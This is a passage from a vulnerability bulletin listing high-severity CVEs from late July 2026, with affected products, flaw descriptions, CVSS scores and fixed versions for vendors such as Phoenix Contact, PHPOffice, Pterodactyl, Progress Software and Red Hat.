| Phoenix Contact--CHARX SEC-3150 | The CHARX JupiCore service allows an unauthenticated remote attacker to reconfigure charging points. This can lead to disclosure of charging point UUIDs, Denial-of-Service and files tampering.                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 9.4        | <a href="#">CVE-2026-44100</a> |
| Phoenix Contact--CHARX SEC-3150 | Due to missing authentication the CHARX OCPP Agent service allows an unauthenticated remote attacker to reconfigure the backend connection. This can lead to Denial-of-Service and confidential data being disclosed to the attacker.                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 9.8        | <a href="#">CVE-2026-44101</a> |
| Phoenix Contact--CHARX SEC-3150 | The firmware update process for the basemodule of the charging controller only validates the CRC32 checksum without cryptographic signature verification. This allows an unauthenticated remote attacker to install a modified firmware, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 9.8        | <a href="#">CVE-2026-44104</a> |
| Phoenix Contact--CHARX SEC-3150 | Due to a flaw in the execution order of scripts during shutdown, the firewall is terminated prematurely during system shutdown. This creates a temporary window in which internal services may become externally accessible, potentially allowing an unauthenticated remote attacker to connect to these services, resulting in full system compromise.                                                                                                                                                                                                                                                                                    | 2026-07-30 | 9.8        | <a href="#">CVE-2026-44108</a> |
| Phoenix Contact--CHARX SEC-3150 | Due to improper neutralization of special elements, an unauthenticated remote attacker is able to inject a command into the system configuration which is subsequently executed as root.                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 9.8        | <a href="#">CVE-2026-7849</a>  |
| Phoenix Contact--CHARX SEC-3150 | An unauthenticated remote attacker can enforce the system to fall back to a firmware partition with an insecure configuration including default credentials. This could allow the attacker to gain SSH access to the system as an unprivileged user "user-app". Charging could be interrupted.                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 8.6        | <a href="#">CVE-2026-44094</a> |
| Phoenix Contact--CHARX SEC-3150 | This vulnerability allows an unauthenticated remote attacker with control over the OCPP backend via firewall-bypass to perform an OS command injection, resulting in the execution of arbitrary commands as the limited user charx-ua. Charging could be interrupted.                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 8.6        | <a href="#">CVE-2026-44098</a> |
| Phoenix Contact--CHARX SEC-3150 | A local privilege escalation vulnerability in the init-script for user-applications allows a low-privileged local user to execute arbitrary commands as root, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 7.8        | <a href="#">CVE-2026-44093</a> |
| Phoenix Contact--CHARX SEC-3150 | A privilege escalation vulnerability in a script used for network configuration allows a low-privileged local user to execute arbitrary commands as root, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 7.8        | <a href="#">CVE-2026-44095</a> |
| Phoenix Contact--CHARX SEC-3150 | A privilege escalation vulnerability in udhpc allows a local user "charx-web" to execute arbitrary commands as root, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-30 | 7.8        | <a href="#">CVE-2026-44096</a> |
| Phoenix Contact--CHARX SEC-3150 | A low-privileged remote attacker with "operator" access can upload arbitrary files via the REST endpoint intended for firmware updates, resulting in persistent storage of attacker-controlled files and potentially exhausting resources, which might lead to Denial-of-Service.                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 7.1        | <a href="#">CVE-2026-44097</a> |
| Phoenix Contact--CHARX SEC-3150 | A privilege escalation vulnerability in the system configuration allows a low-privileged local user to execute arbitrary commands as root, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 7.8        | <a href="#">CVE-2026-44099</a> |
| Phoenix Contact--CHARX SEC-3150 | A privilege escalation vulnerability in the init-script for user-applications allows a low-privileged local user to execute arbitrary commands as root, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 7.8        | <a href="#">CVE-2026-44106</a> |
| Phoenix Contact--CHARX SEC-3150 | A reboot of the charging controller can be triggered via Modbus TCP without authentication. Therefore, when the Modbus functionality is enabled by opening the port that CharxModbusServer is listening, an unauthenticated attacker can perform a Denial-of-Service attack.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 7.5        | <a href="#">CVE-2026-44107</a> |
| PHPOffice--PhpSpreadsheet       | PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents(\$url, false, \$ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect | 2026-07-28 | 7.7        | <a href="#">CVE-2026-59931</a> |



# High Vulnerabilities

| Primary Vendor -- Product                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                          | target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| PHPOffice--PhpSpreadsheet                | PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed. This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.                                                                                                                                                                                                        | 2026-07-28 | 7.5        | <a href="#">CVE-2026-59932</a> |
| PHPOffice--PhpSpreadsheet                | PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.                                                                                                                                                                                                   | 2026-07-28 | 7.5        | <a href="#">CVE-2026-59933</a> |
| phun-ky--defaults-deep                   | @phun-ky/defaults-deep is a library like lodash defaultsDeep with array preservation and no lodash dependency. Prior to 2.0.5, defaultsDeep() recursively merges user-supplied objects without filtering proto, constructor, and prototype, allowing properties to be written to Object.prototype. This issue is fixed in version 2.0.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-31 | 7.3        | <a href="#">CVE-2026-54737</a> |
| pickplugins--PickPlugins Question Answer | The PickPlugins Question Answer plugin for WordPress is vulnerable to SQL Injection in versions up to and including 1.2.73. This is due to insufficient sanitization of user-supplied input via the 'id' GET parameter in the user profile template combined with the use of wp_unslash() which removes WordPress's magic quotes protection, followed by direct concatenation into a SQL query without proper escaping or prepared statements in the qa_user_profile_card() function. This makes it possible for unauthenticated attackers to append additional SQL queries into existing queries, which can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-28 | 7.5        | <a href="#">CVE-2026-10207</a> |
| pionxzh--waku                            | waku is a JavaScript decompiler and unminifier toolkit. From 1.0.0 until 1.4.0, @waku/cli sanitizes bundle-controlled module filenames only once before writing extracted modules, so a crafted filename containing overlapping traversal sequences such as ....// collapses to ../ after sanitization and lets the final output path escape the selected output directory, allowing an attacker who can cause a user to run waku --unpack on a malicious bundle to write files outside that directory and, depending on the target path and environment, potentially achieve code execution. This issue is fixed in @waku/cli 1.4.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 7.1        | <a href="#">CVE-2026-54545</a> |
| postcss--postcss                         | PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options - no from, no map, no plugins required - and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12. | 2026-07-27 | 7.5        | <a href="#">CVE-2026-45623</a> |

# High Vulnerabilities

| Primary Vendor -- Product     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| prebid--prebid-server         | Prebid Server is an open-source solution for running real-time advertising auctions in the cloud. Prior to version 4.4.0, certain bidder adapters in Prebid Server interpolate user-supplied parameters into outbound request URLs without properly validating host and subdomain values, allowing crafted bid request parameters to cause server-side requests to unintended destinations and potentially expose internal network services or sensitive server endpoints. This issue is fixed in version 4.4.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-29 | 10         | <a href="#">CVE-2026-54735</a> |
| Progress Software--LoadMaster | An OS Command Injection vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF allows an authenticated attacker with high privileges to execute arbitrary operating system commands on the affected appliance via the management interface, potentially resulting in complete system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 8.4        | <a href="#">CVE-2026-59686</a> |
| Progress Software--LoadMaster | An OS Command Injection vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF allows an authenticated attacker with high privileges to execute arbitrary operating system commands on the affected appliance via the Geo Location management interface, potentially resulting in complete system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 8.4        | <a href="#">CVE-2026-59687</a> |
| Progress Software--LoadMaster | An OS Command Injection vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF allows an authenticated attacker with high privileges to execute arbitrary operating system commands on the affected appliance via the backup restore functionality, potentially resulting in complete system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 8.4        | <a href="#">CVE-2026-59688</a> |
| Progress Software--LoadMaster | An Incorrect Authorization vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF allows an authenticated attacker with low privileges to escalate privileges to root on the affected appliance, potentially resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 8          | <a href="#">CVE-2026-59689</a> |
| Progress Software--LoadMaster | A Missing Authorization vulnerability in Progress Software LoadMaster, ECS Connection Manager, Object Scale Connection Manager, MOVEit WAF, and Multi Tenant allows an authenticated attacker with low privileges to perform privileged administrative operations via the REST API that should not be accessible to their permission level, potentially resulting in a system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 8          | <a href="#">CVE-2026-59690</a> |
| pronamic--Pronamic Pay        | The Pronamic Pay plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 10.1.0 This is due to the `maybe_update_user_role()` function passing an attacker-controlled Gravity Forms field value ( ` \$lead[ \$feed->user_role_field_id ]` ) directly into `WP_User::set_role()` without any allowlist validation, capability comparison, or permission check to constrain which roles can be assigned. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their own WordPress account to Administrator by tampering with the role field value in a form submission. Exploitation requires that an administrator has already configured a Pronamic Pay payment feed in Gravity Forms with the **Update User Role** option enabled and mapped to a form field; once that configuration is in place, no further preconditions exist to prevent an authenticated attacker from exploiting this vulnerability. | 2026-08-01 | 8.8        | <a href="#">CVE-2026-16635</a> |
| pterodactyl--panel            | Pterodactyl is a free, open-source game server management panel. Prior to Panel version 1.12.3 and Wings version 1.12.2, the Wings /upload/file endpoint accepted any valid panel-signed JWT that contained server_uuid, user_uuid, and unique_id claims without checking the token's intended purpose; because the Panel issues JWTs carrying those same claims for lower-privilege operations such as WebSocket authentication and file-download links, an authenticated subuser could reuse one of those tokens (for example a WebSocket token obtained with only the websocket.connect permission) by replaying it against /upload/file to write arbitrary files to the same server, despite never being granted the file.create permission. This issue is fixed in Panel version 1.12.3 and Wings version 1.12.2.                                                                                                                                                                                  | 2026-07-28 | 8.1        | <a href="#">CVE-2026-54593</a> |
| pterodactyl--panel            | Pterodactyl is a free, open-source game server management panel. From 1.7.0 until 1.13.0, the authentication rate limiter defined in RouteServiceProvider::configureRateLimiting() applied a single global bucket to the login and two-factor checkpoint endpoints instead of keying by IP or account: the fall-through Limit::perMinute(10) covering POST /auth/login and POST /auth/login/checkpoint omitted ->by(), so Laravel derived a constant cache key (md5('authentication')) shared by every request. An unauthenticated attacker sending roughly ten requests per minute from a single IP, most cheaply against the checkpoint endpoint (which has no reCAPTCHA), exhausts the shared counter and causes HTTP 429 for every user attempting to log in or complete two-factor authentication, a panel-wide authentication denial of service that also locks out administrators. This issue is fixed in version 1.13.0.                                                                        | 2026-07-28 | 7.5        | <a href="#">CVE-2026-61609</a> |

# High Vulnerabilities

| Primary Vendor -- Product                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| pterodactyl--wings                                      | Wings is the server control plane for Pterodactyl, a free, open-source game server management panel. Prior to 1.12.3, {{config.}} placeholders in egg configuration-file templates allow a low-privileged user to read {{config.token}}, {{config.token_id}}, and {{config.docker.registries}} from the full daemon configuration. This issue is fixed in version 1.12.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-31 | 9.9        | <a href="#">CVE-2026-52855</a> |
| pterodactyl--wings                                      | Wings is the server control plane for Pterodactyl, a free, open-source game server management panel. Prior to 1.13.0, a malformed packet received during the SFTP connection handshake causes a Go panic. This issue is fixed in version 1.13.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-31 | 7.5        | <a href="#">CVE-2026-52856</a> |
| QuantumCloud--Simple Link Directory Pro                 | Unauthenticated Server Side Request Forgery (SSRF) in Simple Link Directory Pro <= 15.0.6 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 7.2        | <a href="#">CVE-2026-61953</a> |
| Quiet-Terminal-Interactive--QTI Neon                    | QTI Neon is a minimal, game-agnostic, relay-based UDP multiplayer protocol library. In version 1.0.0, the relay's handleReconnectRequest forwards RECONNECT_REQUEST packets to the host without bounding them, so an unauthenticated client can drive relay-to-host amplification and cause a denial of service on the host. No fixed version is available as of this review.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 8.6        | <a href="#">CVE-2026-54609</a> |
| realtyna--Realtyna Organic IDX plugin + WPL Real Estate | The Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 5.2.0 via the upload function. This is due to missing file type validation in the upload function, combined with a publicly accessible I/O endpoint authenticated solely by static, plugin-seeded API credentials that are identical across all installations. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The WPL I/O service endpoint is registered on the public WordPress init hook with no WordPress capability check, and the required api_key and api_secret values are static defaults seeded by the plugin's own SQL migration files, meaning any unauthenticated attacker who knows these publicly documented defaults can reach and exploit the vulnerable upload path. | 2026-07-31 | 9.8        | <a href="#">CVE-2026-14483</a> |
| realtyna--Realtyna Organic IDX plugin + WPL Real Estate | The Realtyna Organic IDX plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 5.3.0. This is due to missing file extension and content validation in the saveLivelmages() function combined with an insufficient authorization check on the get_keys() AJAX handler and a missing authentication check on the REST API import endpoint. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.                                                                                                                                                                                                                                                                                                                                                 | 2026-07-31 | 8.8        | <a href="#">CVE-2026-16236</a> |
| Red Hat--Cost Management Metrics Operator               | A flaw was found in koku-metrics-operator. The operator's CostManagementMetricsConfig custom resource allows user able to edit the CR to specify an arbitrary upload URL. When authentication.type is set to token (the default), the cluster-global Red Hat Cloud pull-secret bearer token is attached to HTTP requests sent to this user-controlled URL, allowing the attacker to obtain the token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 7.6        | <a href="#">CVE-2026-18378</a> |
| Red Hat--Cost Management Metrics Operator               | A flaw was found in the koku-metrics-operator for Red Hat OpenShift. The operator's CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary upload URL. The operator attaches its own Kubernetes service-account bearer token to queries sent to this user-controlled URL, allowing the attacker to obtain the token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 7.6        | <a href="#">CVE-2026-18381</a> |
| Red Hat--Red Hat Advanced Cluster Security 4            | A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). When processing Kubernetes Deployments, ACS replaces deployment identity metadata based on the openshift.io/encoded-deployment-config label. A user with permission to create Deployments can set this label to "null", causing ACS to treat the workload as having empty UID, name and labels and namespace "default". This bypasses deploy-time policy detection and enforcement visibility, prevents correct persistence in Central and breaks violation reporting and compliance correlation for the affected deployment.                                                                                                                                                                                                                                                                                                                         | 2026-07-31 | 8.5        | <a href="#">CVE-2026-10079</a> |
| Red Hat--Red Hat Ansible Automation Platform 2          | A flaw was found in aap-gateway, a component of Ansible Automation Platform's Event-Driven Ansible (EDA). An unauthenticated remote attacker can bypass mutual Transport Layer Security (mTLS) authentication for event streams. This is achieved by manipulating the event stream URL and forging the HTTP Subject header. The system also inadvertently discloses the expected certificate subject in error messages, which simplifies the attack. This vulnerability allows an attacker to inject arbitrary events into EDA, potentially triggering automated workflows.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-31 | 8.2        | <a href="#">CVE-2026-18141</a> |
| Red Hat--Red Hat Ansible                                | A flaw was found in the Event-Driven Ansible (EDA) server. The ExternalEventStreamViewSet uses permissive access controls (permission_classes=[AllowAny], authentication_classes=[]) and relies solely on the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 7.5        | <a href="#">CVE-2026-12383</a> |

# High Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Automation Platform 2                | Subject HTTP header value for mTLS authentication without verifying that the header originated from a trusted proxy. Additionally, the expected certificate Distinguished Name is leaked in the 403 error response body. An attacker who can reach the EDA API endpoint with a spoofed Subject header can inject arbitrary events into mTLS-protected event streams, triggering downstream automation actions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| Red Hat--Red Hat Directory Server 11 | A flaw was found in 389 Directory Server. An unauthenticated remote attacker can inject LDAP search filters into the CleanAllRUV replication status-check extended operation. Because the handler performs the search against cn=config with elevated replication plugin privileges and returns a boolean match result, the attacker can extract sensitive server configuration metadata, including replication bind DN's and password storage scheme information.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-31 | 7.5        | <a href="#">CVE-2026-11770</a> |
| Red Hat--Red Hat Directory Server 11 | A stack buffer overflow flaw was found in 389 Directory Server (389-ds-base). The get_ruvelement_from_berval() function in repl5_ruv.c copies digit characters from a network-supplied RUV berval into a fixed 16-byte stack buffer without bounds checking. A remote unauthenticated attacker can crash the LDAP server by sending a crafted StartNSDS50ReplicationRequest extended operation containing a replica ID field with more than 16 digit characters. The overflow occurs during payload decoding, before any authorization check. Stack protectors limit impact to denial of service.                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-31 | 7.5        | <a href="#">CVE-2026-15722</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw in the PCP linux_sockets module exposes an unsecured internal connection. An attacker with initial code execution can exploit this to escalate privileges and execute arbitrary commands as root.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 8.8        | <a href="#">CVE-2026-16526</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A security flaw combining LDAP filter injection and improper authorization checks was found in Samba Active Directory Domain Controller (AD DC). When processing LDAP Compare requests, Samba fails to properly validate user-supplied attribute names and executes the resulting internal database search in a trusted context, bypassing normal Access Control List (ACL) enforcement. An authenticated low-privilege domain user can exploit these flaws to disclose confidential Active Directory attributes that would normally be inaccessible. The disclosed information may be leveraged to derive sensitive authentication material, potentially leading to privilege escalation and complete domain compromise. For example: In deployments configured with Group Managed Service Accounts (gMSAs), an attacker can extract the "msKds-RootKeyData" attribute and derive gMSA passwords offline, potentially leading to complete domain compromise if privileged gMSAs are present. | 2026-07-30 | 8.8        | <a href="#">CVE-2026-58222</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw was found in sg3_utils. The sg_inq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev device database. This could allow an attacker who can present a crafted SCSI device to execute arbitrary commands as root when the device is disconnected.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-28 | 7.6        | <a href="#">CVE-2026-16313</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A command injection flaw in PCP's linux_sockets PMDA allows malicious shell metacharacters via the network.persocket.filter metric. This failed validation lets attackers execute arbitrary commands as the PMDA user when metrics refresh.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 7.8        | <a href="#">CVE-2026-16524</a> |
| Red Hat--Red Hat Enterprise Linux 10 | An unauthenticated remote attacker can bypass access controls by sending crafted requests to the PCP pmproxy /store endpoint. This allows the attacker to overwrite any PMDA metric, leading to arbitrary code execution and system takeover.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 7.3        | <a href="#">CVE-2026-16527</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A signed integer overflow in the PCP __pmGetPDU() function can be exploited via crafted network packets during PDU processing or SASL negotiation. This permanently blinds the affected daemon, resulting in a total denial of service (DoS) for subsequent packet reads.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-30 | 7.5        | <a href="#">CVE-2026-16529</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw was found in the Linux kernel in net/can/bcm.c in can: bcm, where an unprivileged local user can exploit this vulnerability to execute arbitrary code within the kernel, which leads to a local privilege escalation (LPE). This allows the attacker to gain root privileges and take full control of the affected system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-27 | 7.8        | <a href="#">CVE-2026-17523</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw was found in CRIU's handling of restartable sequences (rseq) during checkpoint/restore. A malicious process inside a container can register an rseq critical section that hijacks CRIU's parasite code injection during checkpoint, allowing it to spoof the process credentials saved in the checkpoint image. On restore, the container process gains elevated capabilities and zeroed UID/GIDs. The practical impact on Red Hat products is limited by several factors: checkpoint/restore requires root privileges (podman) or cluster-admin RBAC (OpenShift) to trigger and cannot be initiated from within the container itself; on OpenShift prior to 4.17 the feature required explicit opt-in, and on 4.17+ the                                                                                                                                                                                                                                                               | 2026-07-28 | 7.8        | <a href="#">CVE-2026-18107</a> |



# High Vulnerabilities

| Primary Vendor -- Product                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                  | kubelet checkpoint API RBAC is not configured by default; OpenShift enforces user namespaces by default for regular workloads (hostUsers is gated behind admin-only SCCs), which makes the spoofed capabilities namespace-scoped and ineffective for privilege escalation; SELinux type enforcement (container_t) blocks privilege transitions independently of capabilities; seccomp filters persist through checkpoint/restore and cannot be corrupted via the parasite; and kernel mount namespace ownership checks on RHEL 9/10 kernels prevent mount-based container escape even with spoofed capabilities.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Red Hat--Red Hat Enterprise Linux 10             | An out-of-bounds write vulnerability was found in the BFD library's DLX ELF backend (bfd/elf32-dlx.c) in GNU binutils. The dlx_rtype_to_howto() function maps ELF relocation types to internal howto structures but fails to perform adequate bounds checking on attacker-controlled relocation type values (via ELF32_R_TYPE(r_info)) before indexing into the dlx_elf_howto_table[] array. The DLX relocation type number space is non-contiguous (basic types 0-6, extended types at 0x10000+), but the default case in the switch statement allows arbitrary index values to reach the array access. A specially crafted ELF/DLX object file can trigger this out-of-bounds write when processed by any BFD-consuming tool (objdump, readelf, strip, ld, nm, objcopy). The vulnerability has been demonstrated to achieve arbitrary code execution via a File Stream Oriented Programming (FSOP) attack against glibc FILE structures (stderr), redirecting control flow to system(). Attack scenarios include CI/CD pipelines performing automated binary analysis, developer workstations running objdump/readelf on untrusted binaries, automated security scanning or malware analysis tools invoking binutils, and package build systems processing third-party code. Note: This vulnerability is only exploitable when binutils is built with the DLX backend enabled (typically via --enable-targets=all). | 2026-07-29 | 7.8        | <a href="#">CVE-2026-18220</a> |
| Red Hat--Red Hat OpenShift Container Platform 4  | A flaw was found in openshift/oauth-proxy. The proxy sets authenticated identity headers using only dash-variant keys (X-Forwarded-User) but does not strip underscore-variant keys (X_Forwarded_User) from incoming requests. WSGI and PHP frameworks normalize both variants to the same variable, allowing an authenticated low-privilege user to smuggle a forged identity that may override the legitimate authenticated identity in the upstream application.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 8.5        | <a href="#">CVE-2026-49332</a> |
